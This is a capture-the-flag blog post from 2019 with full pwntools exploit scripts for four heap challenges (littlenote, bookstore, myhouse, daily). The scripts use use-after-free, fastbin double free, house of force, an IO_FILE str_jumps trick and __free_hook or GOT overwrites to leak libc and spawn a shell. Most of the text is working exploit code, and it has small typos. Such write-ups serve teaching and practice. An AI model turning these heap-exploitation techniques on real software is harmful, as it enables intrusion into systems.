pwn

first week

with pwn

Posted by pic4xiu on October 11, 2019

10.8 ~ 10.13

This four exercises contain Triathlon Finals last year and one exercise in CISCN

littlenote

UAF

from pwn import *
io=process('./littlenote')
def add(content):
    io.sendline('1')
    io.sendafter('e\n',content)
    io.sendlineafter('?\n','Y')
    io.recvuntil('e\n')
def show(index):
    io.sendline('2')
    io.sendlineafter('?\n',str(index))
    return (io.recvuntil("\n"))[:-1]

def free(index):
    io.sendline('3')
    io.recvuntil('?\n')
    io.sendline(str(index))
    io.recvuntil('Done\n')

add('\x00'*0x58+p64(0x71))
add('1')
add(p64(0x0)*5+p64(0x41))#bypass
free(1)
free(0)
free(1)

heap_base=u64((show(0)).ljust(8,'\x00'))-0x70
print "heap_base -> " + hex(heap_base)
add(p64(heap_base+0x60))
add('1')
add('1')
add('\x00'*8+p64(0xA1))
free(1)
libc_base=u64((show(1)).ljust(8,'\x00'))-0x3C4B78
print "libc_base -> " + hex(libc_base)
one_gadget=libc_base+0xf02a4
print "one_gadget -> " + hex(one_gadget)
add('7') # 7
add('8') # 8
add('9') # 9
free(7)
free(8)
free(7)
point=libc_base+0x3c4af5-8
print "point -> " +hex(point) 
add(p64(point)) # 10
add('b') # 11
add('c') # 12
add('a'*19+p64(one_gadget))
io.sendline('1')
io.recv()
io.interactive()

Seven-step homicide

free(1)
free(2)
feee(1)
malloc(3)
malloc(?)
malloc(?)
malloc(*****)

3 became *****

Because this exercise can only malloc(0x71) ,so we should use fastbin attack to modify the size to put the chunk we malloced into the unsortedbin to leak the libc.address

bookstore

Vulnerabilities in Self-Writing Functions

from pwn import *
env=os.environ
env['LD_PRELOAD']='./libc_64.so'
#context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
    r.recvuntil('Your choice:')
    r.sendline('1')
    r.recvuntil('What is the author name?')
    r.sendline(author)
    r.recvuntil('How long is the book name?')
    r.sendline(str(size))
    r.recvuntil('What is the name of the book?')
    r.sendline(cont)
def delete(idx):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
def show(idx):
    r.recvuntil('Your choice:')
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0

add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)

add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x3c4c31
sys=lbase+0x45390
sh=lbase+0x18cd17
#0x18cd57

iolistall=lbase+0x3c5520
strjumps=lbase+0x3c37a0
print "iolistall:"+hex(iolistall)
fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()

used IO_FILE's strjumps ,but it’s not about modifying vtable

myhouse

Write any address to \x00

from pwn import *
env=os.environ
#env['LD_PRELOAD']='./myhouse.so'
#context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
    r.recvuntil('Your choice:\n')
    r.sendline('1')
    r.recvuntil('What is the size of your room?')
    r.sendline(str(size))
def editroom(cont):
    r.recvuntil('Your choice:')
    r.sendline('2')
    r.recvuntil('shining!')
    r.send(cont)
def show():
    r.recvuntil('Your choice:')
    r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
#gdb.attach(r)
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))

r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)

#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x10)
gdb.attach(r)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
#gdb.attach(r)
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive()

daily

“Any address” free

from pwn import *
p = process('./daily')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def show():
    p.recvuntil('choice:')
    p.sendline('1')
    raw = p.recvuntil('===')[:-4]
    return raw

def add(length , content):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('daily:')
    p.sendline(str(length))
    p.recvuntil('daily\n')
    p.sendline(content)

def change(index , content):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('daily:')
    p.sendline(str(index))
    p.recvuntil('daily\n')
    p.sendline(content)

def remove(index):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('daily:')
    p.sendline(str(index))

for i in range(5):
    add(0x80 , '\x00' * 0x5f)
remove(1)
remove(3)
add(0x80 , '')
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))
remove(4)
remove(2)
remove(1)
remove(0)
add(0x30 , 'a' * 8 + p64(heap_base + 0x10))
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)
add(0x41 , '\x00' * 0x40)       //big problem
change(0 , p64(0x602068))
add(0x30 , '/bin/sh\x00')
gdb.attach(p)
add(0x30 , p64(free_hook))
gdb.attach(p)
change(1 , p64(system_addr))
remove(0)
p.interactive()

we can have a disguised UAF .By the way,big problem first i think it’s nothing(means i can delete it),but in the fact ,it means it is a chunk(hahah)